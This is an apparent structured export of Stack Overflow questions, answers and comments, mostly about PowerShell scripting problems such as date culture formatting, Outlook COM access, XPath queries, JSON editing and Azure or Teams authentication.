has body: This will produce the correct European formatting on my VM configured for Netherlands, but only in the ISE. (Get-Date).toString((Get-Culture).DateTimeFormat.ShortDatePattern) (Get-Date).toString((Get-Culture).DateTimeFormat.ShortTimePattern) 24/01/2025 09:19 When I run it in the console via shortcut it reverts to US standard. 1/24/2025 9:24 AM Is there something I am missing to ensure correct behavior in the console? Or just one more way that Microsoft's inconsistency makes me pull my hair out? EDIT: Changed the title to better reflect the fact that the code ONLY works in the deprecated ISE, and fails in the console where one would expect it to work. EDIT: An update for anyone else who runs into this mess. From the sounds of it I should NOT be seeing this behavior, but I am, which means I need to work around it because I have no idea if a customer machine will have the same problem. So, the solution is $culture = (Get-ItemPropertyValue 'HKCU:\Control Panel\International' LocaleName) [cultureinfo]::CurrentCulture = $culture $startTime.ToString('d') $startTime.ToString('t') Where $startTime is a DateTime. So easy, and yet it seems to me that I shouldn't even need to concern myself with Culture. .ToString() should just return the correct format based on OS settings, and if I want to be a $^%# and ignore the user's settings I should have to work harder to force 'EN-US' on someone. /RANT
has title: Get-Culture DateTimeFormat doesn't respect local setting in console, DOES in ISE
score: 2
upvote count: 2

mimekit
type: Tag
tags question: http://stackoverflow.com/q/79321398
tags question: http://stackoverflow.com/q/79297680
tag name: mimekit

http://stackoverflow.com/a/79332051
has body: Here is the PowerShell script to fetch the IP ranges for selected services from a public URL. $jsonUrl = "https://download.microsoft.com/download/7/1/D/71D86715-5596-4529-9B13-DA13A5DE5B63/ServiceTags_Public_20241230.json" $jsonContent = Invoke-RestMethod -Uri $jsonUrl $jsonContent | ConvertTo-Json -Depth 10 | Out-File -FilePath "AzureIPRanges.json" Write-Output "Download complete. The JSON file has been saved." $jsonContent = Get-Content -Path "AzureIPRanges.json" | ConvertFrom-Json # Example: Filter IP ranges for "LogicApps" system service and Region "australiacentral2" $filteredRanges = $jsonContent.values | Where-Object { $_.properties.systemService -eq 'LogicApps' -and $_.properties.region -eq 'australiacentral2' } $filteredRanges | ForEach-Object { $_.properties.addressPrefixes } $filteredRanges | ConvertTo-Json -Depth 10 | Out-File -FilePath "AusLogicAppsIPRanges.json" Write-Output "Filtered LogicApps IP ranges have been saved." Output: Below is the original JSON file for Logic Apps for the australiacentral2 region from this link. After running the script, I am able to fetch the Logic App services' IP ranges for the australiacentral2 region.
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/139988318
answers question: http://stackoverflow.com/q/79331379

http://stackoverflow.com/comment/139845418
has text: How about utf8 encoding?
comment on: http://stackoverflow.com/q/79304087
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139822221
type: Comment
comment on: http://stackoverflow.com/a/79291451
score: 0
type: AnswerComment
has text: Do you know if this limitation is documented anywhere?

http://stackoverflow.com/a/79420203
downvote count: 0
has comment: http://stackoverflow.com/comment/140064500
type: Answer
has comment: http://stackoverflow.com/comment/140064338
has body: I do agree with @vonPryz that the most likely scenario is name collision. Try this: it also has a few things that might help your script to be a bit easier to follow. # No reason to remove properties, we can use them later. $FileList = Get-ChildItem -File -Path $Path foreach ($File in $FileList) { # If the list of replacement gets any larger, I suggest making a hashtable to # loop through instead. $NameReplaced = $File.BaseName -replace '-', ' ' -replace '_', ' ' -replace 'Whatsnew', 'whats new' -replace 'howto', 'how to' # If accented characters give problems, replace InvartiantCulture with # CurrentCulture, CurrentUICulture or a specific Culture as necessary. $NewName = [cultureinfo]::InvariantCulture.TextInfo.ToTitleCase($NameReplaced) + $file.Extension # remove -WhatIf once you are sure everything is right Rename-Item -LiteralPath $File.FullName -NewName $NewName -WhatIf }
has comment: http://stackoverflow.com/comment/140066427
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79420062
has comment: http://stackoverflow.com/comment/140075400

http://stackoverflow.com/comment/139986658
type: QuestionComment
type: Comment
has text: Have you enabled `TLS 1.2` protocol?
comment on: http://stackoverflow.com/q/79375029
score: 0

http://stackoverflow.com/comment/139919366
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79344223
score: 1
has text: Change `Move-Item -Path $file -Destination $folderPathSub` to `$file | Move-Item -Destination $folderPathSub`

http://stackoverflow.com/comment/139800841
comment on: http://stackoverflow.com/a/79270136
has text: OK, so the message is good. What does `$MailItems.Item(1).Body` give you?
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/139746520
has text: All your examples in all questions are showing powershell code, never show or give an example of a console application. In your real challenge are you developing a .NET console application were you set up the CTRL+C handler ? In that case jborean's `kill.exe` works perfectly well.
comment on: http://stackoverflow.com/a/79248980
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/79269924
type: Question
has body: Per the title, these fields are blank. That same message in Outlook certainly isn't missing these headers. Add-Type -AssemblyName "Microsoft.Office.Interop.Outlook" -ErrorAction Stop $OutlookApp = New-Object -ComObject "Outlook.Application" $OutlookNS = $OutlookApp.GetNamespace("MAPI") $OutlookNS.Logon() $RootFolder = $OutlookNS.Folders() | Where-Object { $_.FullFolderPath -eq "\\foo@bar.com" } $TargetFolder = $RootFolder.Folders() | Where-Object { $_.Name -eq "Inbox" } $StartDate = (Get-Date).AddDays(-1) $EndDate = (Get-Date) $filter = "@SQL=""urn:schemas:httpmail:datereceived"">='$($StartDate.ToString("MM/dd/yyyy HH:MM:ss"))' And ""urn:schemas:httpmail:datereceived""<='$($EndDate.ToString("MM/dd/yyyy HH:MM:ss"))'" $MailItems = $TargetFolder.Items.Restrict($filter) | Where-Object { $_ -is [Microsoft.Office.Interop.Outlook.MailItem] } $MailItems.Item(1) | Select-Object SenderEmailAddress, "To", Subject, SenderName, ReceivedTime, LastModificationTime Here's the properties from one of the messages. The properties exist; however, some have null data (or their COMObject is null). Has Data No Data Actions AutoForwarded AlternateRecipientAllowed AutoResolvedWinner Application BCC BodyFormat BillingInformation Class Body ConversationID Categories ConversationIndex CC ConversationTopic Companies CreationTime DeleteAfterSubmit DeferredDeliveryTime FlagIcon DownloadState FlagRequest EnableSharedAttachments FlagStatus EntryID HasCoverSheet ExpiryTime HTMLBody FlagDueBy IsConflict FormDescription IsIPFax GetInspector IsMarkedAsTask Importance Links InternetCodepage MarkForDownload ItemProperties Mileage LastModificationTime NoAging MAPIOBJECT OriginatorDeliveryReportRequested MessageClass OutlookInternalVersion Parent OutlookVersion ReceivedByEntryID Permission ReceivedOnBehalfOfEntryID PermissionService ReceivedTime PermissionTemplateGuid ReminderTime PropertyAccessor RetentionExpirationDate ReadReceiptRequested Saved ReceivedByName SaveSentMessageFolder ReceivedOnBehalfOfName…
answer count: 1
has answer: http://stackoverflow.com/a/79270136
tagged with: powershell
type: UnansweredQuestion
tagged with: outlook
tagged with: com
score: 0
has title: SenderEmailAddress/To/SenderName fields blank via Outlook COM

http://stackoverflow.com/comment/139884819
score: 1
comment on: http://stackoverflow.com/q/79325779
has text: To output to a CSV file, you need to **remove** the `-ExpandProperty` parameter because Export-Csv needs **objects** to create a proper CSV, not just strings
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79304187
type: AnsweredQuestion
upvote count: 2
tagged with: powershell
tagged with: scriptblock
favorite count: 0
has body: Function Invoke-Keep { &lt;# .SYNOPSIS Implement the keep operation on collections, including nested arrays. .DESCRIPTION Given a collection (which may contain nested arrays), apply the predicate to each element and return an array of elements where the predicate is true. .PARAMETER Data Collection of data to filter through, can be nested arrays. .PARAMETER Predicate The predicate to operate on the data. .EXAMPLE $IsSumGreaterThan10 = { param($row) ($row | Measure-Object -Sum).Sum -gt 10 } Invoke-Keep -Data @(@(1, 2, 3), @(5, 6), @(10, 5), @(7, 3)) -Predicate $IsSumGreaterThan10 Return: @(@(5, 6), @(10, 5), @(7, 3)) #&gt; In trying to create the above function (and testing it with the predicate and data in .EXAMPLE), I found case 1 that fails and case 2 that succeeds but am unclear on why: Case 1: [CmdletBinding()] Param( [Object[]]$Data, [ScriptBlock]$Predicate ) foreach ($item in $Data) { if ($Predicate.Invoke($Item)) { return $item } } Case 2: [CmdletBinding()] Param( [Object[]]$Data, [ScriptBlock]$Predicate ) return $Data | Where-Object {&amp; $Predicate $_} } Case 1 seemingly works fine with flat data but returns nothing when passed nested arrays. Case 2 handles nested arrays fine. But whwhwhwhwhwhwhwhwy?! This might already be answered but I'm sufficiently dumb as to not have the language to even articulate my question in a search box.
linked to: http://stackoverflow.com/q/62488043
type: Question
has title: Predicate script blocks and collections?
answer count: 1
has answer: http://stackoverflow.com/a/79304237
score: 2
accepted answer: http://stackoverflow.com/a/79304237
downvote count: 0

http://stackoverflow.com/q/79395273
favorite count: 0
type: Question
answer count: 0
downvote count: 0
score: 2
upvote count: 2
tagged with: electron
tagged with: powershell
tagged with: github-actions
type: UnansweredQuestion
has body: I want to automate the process of packaging my Electron app into a Windows Store .appx package using electron-windows-store in a GitHub Actions workflow. Currently, this process is done manually, and I am looking to determine if it's possible to automate entirely in the cloud. Here’s how I currently package my app manually: electron-windows-store --input-directory C:\Path\To\YourApp\dist\win-unpacked ` --output-directory C:\Path\To\YourApp\Output ` --package-version 1.0.0.0 ` --package-name YourApp ` --package-display-name 'YourApp' ` --publisher-display-name 'YourPublisher' ` --identity-name YourPublisher.Identity ` -a C:\Path\To\YourApp\Resources\ I manually: Download the .appx output from tools like electron-builder. Run the above command in an elevated PowerShell session on my local machine. Upload the signed .appx package to the Windows Store. For macOS and Linux, I am able to sign and release packages entirely in the cloud using GitHub Actions. However, the Windows process requires local intervention, and I’m unsure if it can be done entirely in the cloud. Draft GitHub Actions Workflow (Concept) This is a conceptual idea of how I imagine the workflow could work: name: Build Windows Store App on: push: branches: - main jobs: build: runs-on: windows-latest steps: - name: Checkout code uses: actions/checkout@v3 - name: Set up Node.js uses: actions/setup-node@v3 with: node-version: 18 - name: Install dependencies run: npm install - name: Run electron-windows-store run: electron-windows-store --input-directory ./dist/win-unpacked ` --output-directory ./output ` --package-version 1.0.0.0 ` --package-name YourApp ` --package-display-name 'YourApp' ` --publisher-display-name 'YourPublisher' ` --identity-name YourPublisher.Identity Question: Is it possible to fully automate the electron-windows-store process in a GitHub Actions workflow using the windows-latest runner, including packaging, signing, and creating the .appx file without manual intervention? Additional Con…
tagged with: windows-store-apps
tagged with: windows
has title: How Can I Run `electron-windows-store` in a GitHub Actions Workflow in the Cloud?

http://stackoverflow.com/comment/139977897
type: Comment
has text: That makes sense @SantiagoSquarzon. Maybe I can pipe the result to table and change that default ?
score: 0
comment on: http://stackoverflow.com/q/79375151
type: QuestionComment

http://stackoverflow.com/a/79304274
upvote count: 1
has body: How about importing the csv with utf8 (with bom) encoding? Excel is not as seamless with importing utf16 or unicode encoded text files.
score: 1
answers question: http://stackoverflow.com/q/79304087
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/79304087
downvote count: 0

http://stackoverflow.com/q/79291391
has comment: http://stackoverflow.com/comment/139911984
tagged with: powershell
type: AnsweredQuestion
upvote count: 1
has title: How to call native XPath functions from Select-Xml?
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79340328
tagged with: http://stackoverflow.com/tag/xml
possible better answer: http://stackoverflow.com/a/79340328
has answer: http://stackoverflow.com/a/79348700
has body: Using PowerShell Core 7.4.6. Given the file /path/to/file.csproj <ProjectReference Include="Path\To\Something.csproj" /> I expect that the following snippet will select the ProjectReference node from that file, using the built-in XPath ends-with function select-xml -path "/path/to/file.csproj" ` -xpath "/Project/ItemGroup/ProjectReference[ends-with(@Include, 'Something.csproj')]" but instead it yields the error Select-Xml: Namespace Manager or XsltContext needed. This query has a prefix, variable, or user-defined function. If I try to explicitly scope it using the XPath function namespace select-xml -path "/path/to/file.csproj" ` -xpath "/Project/ItemGroup/ProjectReference[fn:ends-with(@Include, 'Something.csproj')]" ` -namespace @{ "fn" = "http://www.w3.org/2005/xpath-functions" } I get a different error Select-Xml: XsltContext is needed for this query because of an unknown function. What am I missing? The documentation for Select-Xml mentions no limitations on invoking XPath functions, so I assume they are natively supported.
answer count: 3
has answer: http://stackoverflow.com/a/79291451
tagged with: powershell-core
accepted answer: http://stackoverflow.com/a/79291451
type: Question
tagged with: xpath
downvote count: 0

http://stackoverflow.com/q/79303993
has comment: http://stackoverflow.com/comment/139845276
answer count: 1
has comment: http://stackoverflow.com/comment/139845102
has body: I'm making a program in C++ where I need to detect accents and macrons, so áéíóúāēīōūȳ. I'm using Windows 11. I use getline(cin, input) and if the input has any macron or accent it treats it as a blank character, ágȳ = g. I'm using the powershell terminal with chcp 65001, it displays correctly the accents with cout but does not recive the input correctly. Here's is some code: #include <iostream> #include <locale> #include <string> using namespace std; int main() { // Set the console to UTF-8 encoding // system("chcp 65001 > nul"); setlocale(LC_ALL, "es_ES.UTF-8"); // Ensure UTF-8 encoding string a; cout << "Write here āēīōū (with accents and macrons):" << endl; // Capture input with getline getline(cin, a); cout << endl << "You wrote: " << a << endl; // Compare the input with a specific character if (a == "á") { cout << "It's the same!" << endl; } else { cout << "It's not the same." << endl; } for (int i = 0; i < a.size(); ++i) cout << "a[i]: " << a[i] << endl; cout << endl; return 0; }
has comment: http://stackoverflow.com/comment/139845226
has comment: http://stackoverflow.com/comment/139845093
has comment: http://stackoverflow.com/comment/139845083
has comment: http://stackoverflow.com/comment/139846043
tagged with: powershell
type: UnansweredQuestion
tagged with: locale
favorite count: 0
score: -2
has comment: http://stackoverflow.com/comment/139845295
has comment: http://stackoverflow.com/comment/139845018
linked to: http://stackoverflow.com/q/71465484
has comment: http://stackoverflow.com/comment/139845048
tagged with: windows
type: Question
upvote count: 4
has title: Windows doesn't want to detect accents c++
tagged with: c++
has answer: http://stackoverflow.com/a/79304065
downvote count: 6
has comment: http://stackoverflow.com/comment/139845038

http://stackoverflow.com/q/79306165
answer count: 2
has answer: http://stackoverflow.com/a/79306178
favorite count: 0
tagged with: http://stackoverflow.com/tag/json
type: Question
upvote count: 2
has title: PowerShell adding section in setting json file
downvote count: 0
tagged with: powershell
has body: I have empty settings.json file { } I want to add section with powershell and to look like this: { "ParentObj": { "ChildProp": "test" } } I use this sample of code to achieve this : $SettingFile = Get-Content 'c:\z\setting.json' -raw -Encoding UTF8 | ConvertFrom-Json if (-not $SettingFile.PSObject.Properties['ParentObj']) { $SettingFile | Add-Member -MemberType NoteProperty -Name ParentObj -Value @{} } if (-not $SettingFile.ParentObj.PSObject.Properties['ChildProp']) { Write-Host 'section 1' $SettingFile.ParentObj | Add-Member -MemberType NoteProperty -Name 'ChildProp' -Value 'test' } else { Write-Host 'section 2' $SettingFile.ParentObj.ChildProp = 'test2' } $SettingFile | ConvertTo-Json -Depth 10 | set-content 'c:\z\setting.json' -Encoding UTF8 On the first run of the script I always have empty ParentObj without ChildProp although it says it enter in section 1 of if to create child prop { "ParentObj": { } } i have workaround but i want to understand why on the first run ChildProp is not created, what I am misunderstanding about PowerShell behaviour ?
score: 2
has answer: http://stackoverflow.com/a/79306180
type: UnansweredQuestion

http://stackoverflow.com/comment/139768091
comment on: http://stackoverflow.com/a/79258729
has text: Your guess seems to fit. Another hypothesis is that a queue overflows above that interval. I updated the tests for shorter intervals. I'm not persuaded that there is, in fact, a problem of increasing processor usage at lower polling intervals. The test results don't support that relationship. (Although processor usage is significant at any interval.) With `cmd.exe /c ver` I see no missed events at 100ms and below.
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139934152
has text: I suspect this is a Group Policy issue going through different domains. There is some permission issue that is causing the problem. Check with a Group Policy Admin so see if they can solve the issue. I don't think it is a timeout issue, just not getting the proper credentials in the network.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79350561

http://stackoverflow.com/q/79419029
type: Question
has comment: http://stackoverflow.com/comment/140061614
has comment: http://stackoverflow.com/comment/140061914
answer count: 0
tagged with: powershell
has title: Is there a way to search the contents of a PowerShell object for a string and return its location?
tagged with: powershell-5.1
score: 0
has comment: http://stackoverflow.com/comment/140061358
type: UnansweredQuestion
tagged with: object-graph
has body: Let's say we have an obect '$fruit', whose output is: Shapes: Container.Fruit.Shapes Sizes: Container.Fruit.Sizes Colors: Container.Fruit.Colors Each of those entries contains more information, so if we do, say, '$fruit.Colors' we get: Reds: Container.Fruit.Reds Greens: Container.Fruit.Greens And then if we do '$fruit.Colors.Reds' we get: ColorName ColorList --------- --------- Reds Scarlet, Burgundy, Crimson, Cherry, Ruby Is there a way to search through the contents of '$fruit' for a string and then have it return the location of that string within the object? For example, a way to search for 'Crimson', which would then return '$fruit.Colors.Reds.ColorList'?
linked to: http://stackoverflow.com/q/79406020

http://stackoverflow.com/comment/139851886
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730
has text: When I wrote "| Out-File -encoding utf8 '%CD%\MyFile.txt'" setlocal set "targetFile=%CD%\MyFile.txt" powershell -noprofile -c $ErrorActionPreference='Stop'; $tempFile=New-TemporaryFile; $inFile=Convert-Path -LiteralPath $env:targetFile; [IO.File]::WriteAllLines($tempFile, [IO.File]::ReadLines($inFile)); $tempFile ^| Move-Item -Force -Destination $inFile It just crashed

http://stackoverflow.com/q/79364096
has comment: http://stackoverflow.com/comment/139957439
score: 1
favorite count: 0
tagged with: microsoft-graph-teams
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139956984
has body: I'm trying to do what is explained in this article : https://learn.microsoft.com/en-us/microsoftteams/teams-powershell-application-authentication And app service principal is assigned to the Teams Administrator role. But commands like Get-CsTenant or Get-CsOnlineUser returns with error : Get-CsTenant : Access Denied. Any advise is welcome, I'm probably missing some configuration :). Thanks Update : I did this step : $ClientSecret = "…" $ApplicationID = "00000000-0000-0000-0000-000000000000" $TenantID = "YYYYYYYY-YYYY-YYYY-YYYY-YYYYYYYYYYYY" $graphtokenBody = @{ Grant_Type = "client_credentials" Scope = "https://graph.microsoft.com/.default" Client_Id = $ApplicationID Client_Secret = $ClientSecret } $graphToken = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token" -Method POST -Body $graphtokenBody | Select-Object -ExpandProperty Access_Token $teamstokenBody = @{ Grant_Type = "client_credentials" Scope = "48ac35b8-9aa8-4d74-927d-1f4a14a0b239/.default" Client_Id = $ApplicationID Client_Secret = $ClientSecret } $teamsToken = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token" -Method POST -Body $teamstokenBody | Select-Object -ExpandProperty Access_Token Connect-MicrosoftTeams -AccessTokens @("$graphToken", "$teamsToken") I also tried to connect with same app , certificate based authentication: Connect-MicrosoftTeams -CertificateThumbprint 6BE884E1F9EA98CBE6E75AC8206527F7D41D1388 -ApplicationId $clientId -TenantId $tenantId Connection itself is working, as I'm getting back : Account Environment Tenant TenantId ------- ----------- ------ -------- e3fc1b90-xxxx-xxxx-ae5c-xxxxxxxx AzureCloud xxxxxxx-da60-xxxx-a2fd-xxxxxxxxx xxxxxxx-da60-xxxx-a2fd-xxxxxxxxxx. All relevant permissions are assinged: "scope": profile openid email https://graph.microsoft.com/AllSites.FullControl https://graph.microsoft.com/AuditLog.Read.All https://graph.microsoft.com/Directory.Read.All https://graph.microsoft.com/Exchange.M…
tagged with: microsoft-teams
downvote count: 0
has title: Accessing MS Teams in power shell using app-only authentication
tagged with: office365
has comment: http://stackoverflow.com/comment/139969614
tagged with: powershell
type: UnansweredQuestion
upvote count: 1

createprocessasuser
tag name: createprocessasuser
type: Tag
tags question: http://stackoverflow.com/q/79374832

http://stackoverflow.com/comment/140019704
type: Comment
has text: `"*.zip, *.log"` is a single string not an array.
score: 0
comment on: http://stackoverflow.com/q/79397285
type: QuestionComment

http://stackoverflow.com/comment/140035779
type: QuestionComment
type: Comment
has text: @jdweng, whenever you're about to post a comment, please first consider whether such a comment (a) is based on a true understanding of the problem at hand and (b) if so, whether it either truly _contributes toward finding a solution_ or at least offers _generally helpful pointers_ that are _properly framed as such_. If neither condition is met, please consider refraining from commenting to begin with in the future. In the case at hand, please consider deleting your comments now.
comment on: http://stackoverflow.com/q/79401137
score: 0

http://stackoverflow.com/comment/139854749
has text: @VerityFreedom: If the rewritten file should use a _different_ encoding - it sounds like you want Windows-1251 - a text-based approach is a must. I've amended my answer to show how to transcode your file to Windows-1251 (Cyrillic).
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79308669
type: Comment

http://stackoverflow.com/q/79324379
tagged with: uwp
tagged with: microsoft-store
has comment: http://stackoverflow.com/comment/140044554
has comment: http://stackoverflow.com/comment/140043223
tagged with: appx
type: UnansweredQuestion
has title: How to Create-Process and wait for it to finish, when the executable is installed from MS Store in C:/Program Files/WindowsApps
favorite count: 0
has comment: http://stackoverflow.com/comment/140043441
score: 4
type: Question
answer count: 0
tagged with: go
has comment: http://stackoverflow.com/comment/139882578
upvote count: 4
downvote count: 0
tagged with: powershell
has body: I am working on a small background daemon implemented in Go. It needs to start a Blender to process some 3D models (.blend files) in background. For this I just create a new process in Go: cmd := exec.Command( binaryPath, "--background", "--factory-startup", // disables user preferences, addons, etc. "-noaudio", blendPath, "--python", unpackScriptPath, "--", dataFile, addonModuleName, // Legacy has it as "blenderkit", extensions have it like bl_ext.user_default.blenderkit or anything else ) cmd.Env = append(os.Environ(), fmt.Sprintf("BLENDER_USER_SCRIPTS=%v", blenderUserScripts)) // Redirect both stdout and stderr to the buffer var combinedOutput bytes.Buffer cmd.Stdout = &combinedOutput cmd.Stderr = &combinedOutput err = cmd.Run() #wait for process to finish, later check the results This works just fine on Linux, MacOS and on most Windows cases. The problem is however when Blender was installed via Microsoft Store. Then it is located in C:\Program Files\WindowsApps\... and this location is protected. Which leads to error: command execution failed: fork/exec C:\Program Files\WindowsApps\BlenderFoundation.Blender_4.1.1.0_x64__ppwjx1n5r4v9t\Blender\blender.exe: Access is denied. I have found that I can start UWP application using this PowerShell command: Start-Process shell:$("AppsFolder\" + (Get-AppxPackage | ?{$_.PackageFamilyName -like '*Blender*'}).PackageFamilyName + "!Blender") This works fine and seems like a proper way how to start the applications installed from Microsoft Store. But I need to wait for the process to finish. And here comes the problem. The -Wait flag throws an error (even though Blender starts just fine): PS C:\Users\andreas> Start-Process shell:$("AppsFolder\" + (Get-AppxPackage | ?{$_.PackageFamilyName -like '*Blender*'}).PackageFamilyName + "!Blender") -Wait Start-Process : This command cannot be run completely because the system cannot find all the information required. At line:1 char:1 + Start-Process shell:$("AppsFolder\" + (Get-AppxPack…

http://stackoverflow.com/comment/139882520
comment on: http://stackoverflow.com/a/79324740
type: Comment
score: 1
has text: Nice, though I'd be careful with `Get-Date`, because - as a binary cmdlet - it unfortunately parses a date string _culture-sensitively_, whereas a `[datetime]` cast always uses the _invariant_ culture. E.g., `Get-Date '1/28/2025 8:55'` fails with culture `fr-FR` (French) in effect, but `[datetime] '1/28/2025 8:55'` always succeeds.
type: AnswerComment

http://stackoverflow.com/a/79394381
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79393539
has body: Try this: $allproperties.psobject.properties This works for some other types of object. It might work here.

http://stackoverflow.com/q/79395776
has comment: http://stackoverflow.com/comment/140017314
type: Question
has body: My powershell script runs fine in powershell command line but throws the following error when run from Sql Agent : Executed as user: DOMAIN\svcSQLDefaultPROD. A job step received an error at line 21 in a PowerShell script. The corresponding line is ' Export-Csv -Path $outputFile -NoTypeInformation -Encoding UTF8'. Correct the script and reschedule the job. The error information returned by PowerShell is: 'Cannot perform operation because operation "ReportWrongProviderType" is invalid. Remove operation "ReportWrongProviderType", or investigate why it is not valid. '. Process Exit Code -1. The step failed. This is my powershell script which I have added in Sql Agent job step as Type powershell. I have also tried to run the job step as type CmdExe but my command prompt does not work/does not export the csv files from command line too (like powershell does export the csv from powershell command line): # Log file path $logFile = "C:\RNA\ExportRNAData.log" $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" "$timestamp - Script started" | Out-File -FilePath $logFile -Append # Define SQL Server connection details $sqlServerInstance = "SourceServerName" $databaseName = "DBName1" $storedProcedure = "[DBName2].[dbo].[GenExportFile_tstHK]" # Define the output folder $outputFolder = "\\RemoteServerName\Export" try { # Retrieve the list of Branch values from the SQL Server table $branches = Invoke-Sqlcmd -Query "SELECT Branch FROM Sites" -ServerInstance $sqlServerInstance -Database $databaseName # Iterate through each Branch value foreach ($branch in $branches) { $areaID = $branch.Branch $timestamp = Get-Date -Format "yyyyMMdd_HHmmss" $outputFile = "$outputFolder\PowershellHK_2_$areaID`_$timestamp.csv" # Execute the stored procedure with the current AreaID Invoke-Sqlcmd -Query "EXEC $storedProcedure @AreaID='$areaID'" -ServerInstance $sqlServerInstance | Export-Csv -Path $outputFile -NoTypeInformation -Encoding UTF8BOM -UseQuotes AsNeeded "$timestamp - Results for AreaID '$areaI…
tagged with: sql-server-2012
has comment: http://stackoverflow.com/comment/140022567
has title: Powershell script works fine in Powershell Command line but throws error "ReportWrongProviderType" is invalid when run from Sql Agent job
answer count: 0
tagged with: powershell
tagged with: sql
has comment: http://stackoverflow.com/comment/140021085
has comment: http://stackoverflow.com/comment/140021093
score: 0
type: UnansweredQuestion
tagged with: sql-agent-job
tagged with: t-sql
has comment: http://stackoverflow.com/comment/140017985

http://stackoverflow.com/comment/139959580
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79362468
type: AnswerComment
has text: I managed to figure this out too. The connect-exchangeonline only works with managed identities now, when I changed it to using that instead of saved credentials it started workin.

http://stackoverflow.com/q/79380511
tagged with: powershell
tagged with: exchange-online
tagged with: outlook
tagged with: microsoft-graph-api
has comment: http://stackoverflow.com/comment/139988836
has title: Why Do Cmdlet and Microsoft Graph API Responses for Working Hours and WorkDays Depend on the Source of Last Modification?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139998948
score: 0
has comment: http://stackoverflow.com/comment/139994420
has comment: http://stackoverflow.com/comment/139995011
type: Question
has body: I noticed an unusual behavior when retrieving a user's working hours using Microsoft Graph API or PowerShell cmdlets: Behavior Observed: Dependency on Last Modification Source: If the working hours were last modified in Viva Insights, the responses reflect changes made in Viva Insights. If the working hours were last modified in Outlook, the responses are based on the working hours set in Outlook. One-Way Synchronization: When working hours are modified in Outlook, these changes are synchronized and reflected in services like Viva Insights. However, if the working hours are updated in Viva Insights (or other external services), the changes are not synchronized back to Outlook, but the responses from the Microsoft Graph API or cmdlets still reflect these updated values. API/Command Used: I have used the following methods to fetch working hours: Microsoft Graph API GET https://graph.microsoft.com/v1.0/me/mailboxSettings This returns the workingHours property but does not indicate the source of the data. PowerShell Cmdlet Get-MailboxCalendarConfiguration Provides general settings like time zone and working hours but no granular details about day-wise variations or the source of data. Questions: Why does the response depend on the source of the last modification (e.g., Outlook vs. Viva Insights)? Is there a way to enforce consistency across services, ensuring synchronization of changes made in Viva Insights back to Outlook? Is there a method to explicitly determine the source of the data (e.g., whether it reflects changes from Outlook, Viva Insights, or elsewhere)? This behavior creates confusion when managing working hours across multiple services. Any insights or suggestions would be greatly appreciated!
answer count: 0
has comment: http://stackoverflow.com/comment/139998465

http://stackoverflow.com/q/79375492
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
type: Question
has body: I am running a Docker container that exposes a FastAPI API, and as part of my logic I need to change the .env file, which is a host file mounted on the contained I mentioned. So when I change the file, I get an error OSError: [Errno 16] Device or resource busy: '/tmp/tmp2awdeo6a' -&gt; '/app/.env', and the container stops running. My container works on macOS, but not on Windows(Powershell). Within my FastAPI service I am using from dotenv import load_dotenv For modifying the .env file. Is there any way my container may run on Windows, without getting the error I posted? It is strange the fact that works on mac and not on Windows.
tagged with: fastapi
tagged with: docker
answer count: 0
downvote count: 0
has title: FastAPI service fails when modifying Docker mounted .env file
has comment: http://stackoverflow.com/comment/139981045
tagged with: powershell
tagged with: python-dotenv

http://stackoverflow.com/q/79333188
answer count: 2
type: Question
has title: FailureException: Failed to install function app dependencies
has comment: http://stackoverflow.com/comment/139902175
has body: I have a PowerShell script that I want to run in a function app, but when I run the script for testing it starts downloading the dependencies then I get this error: FailureException: Failed to install function app dependencies. Error: 'Failed to install function app dependencies. Error: 'The running command stopped because the preference variable "ErrorActionPreference" or common parameter is set to Stop: Unable to save the module 'Az'.''Stack: at Microsoft.Azure.Functions.PowerShellWorker.DependencyManagement.DependencyManager.WaitOnDependencyInstallationTask() I can't tell why it is failing to install the dependencies. For more context here is my host.JSON file: { "version":"2.0", "functionTimeout":"00:10:00", "managedDependency":{ "enabled":true }, "extensionBundle":{ "id":"Microsoft.Azure.Functions.ExtensionBundle", "version":"[4.*, 5.0.0)" } } Here is my requirements.psd1: # This file enables modules to be automatically managed by the Functions service. # See https://aka.ms/functionsmanageddependency for additional information. # @{ # For latest supported version, go to 'https://www.powershellgallery.com/packages/Az'. # To use the Az module in your function app, please uncomment the line below. 'Az' = '13.*' 'PnP.PowerShell' = '2.12.0' } I imported the modules as well in my script, and I checked the files in my kudu sometimes it installs some modules from the az library but are missing a lot sometimes it fails completely and the kudu displays only the requirements.psd1 file.
tagged with: powershell
has comment: http://stackoverflow.com/comment/139897287
has answer: http://stackoverflow.com/a/79335176
tagged with: azure-functions
score: 0
has answer: http://stackoverflow.com/a/79335999
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139902177

http://stackoverflow.com/comment/140025800
has text: I will test with `$PSCommandPath`
comment on: http://stackoverflow.com/q/79400251
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139903347
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79334607
has text: sort-object blocks until it has every item. Maybe get-mailboxstatistics doesn't like that. You can also sort before the select.

http://stackoverflow.com/a/79386074
score: 0
has comment: http://stackoverflow.com/comment/140003295
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79386069
type: Answer
has comment: http://stackoverflow.com/comment/140004115
accepted answer of: http://stackoverflow.com/q/79386069
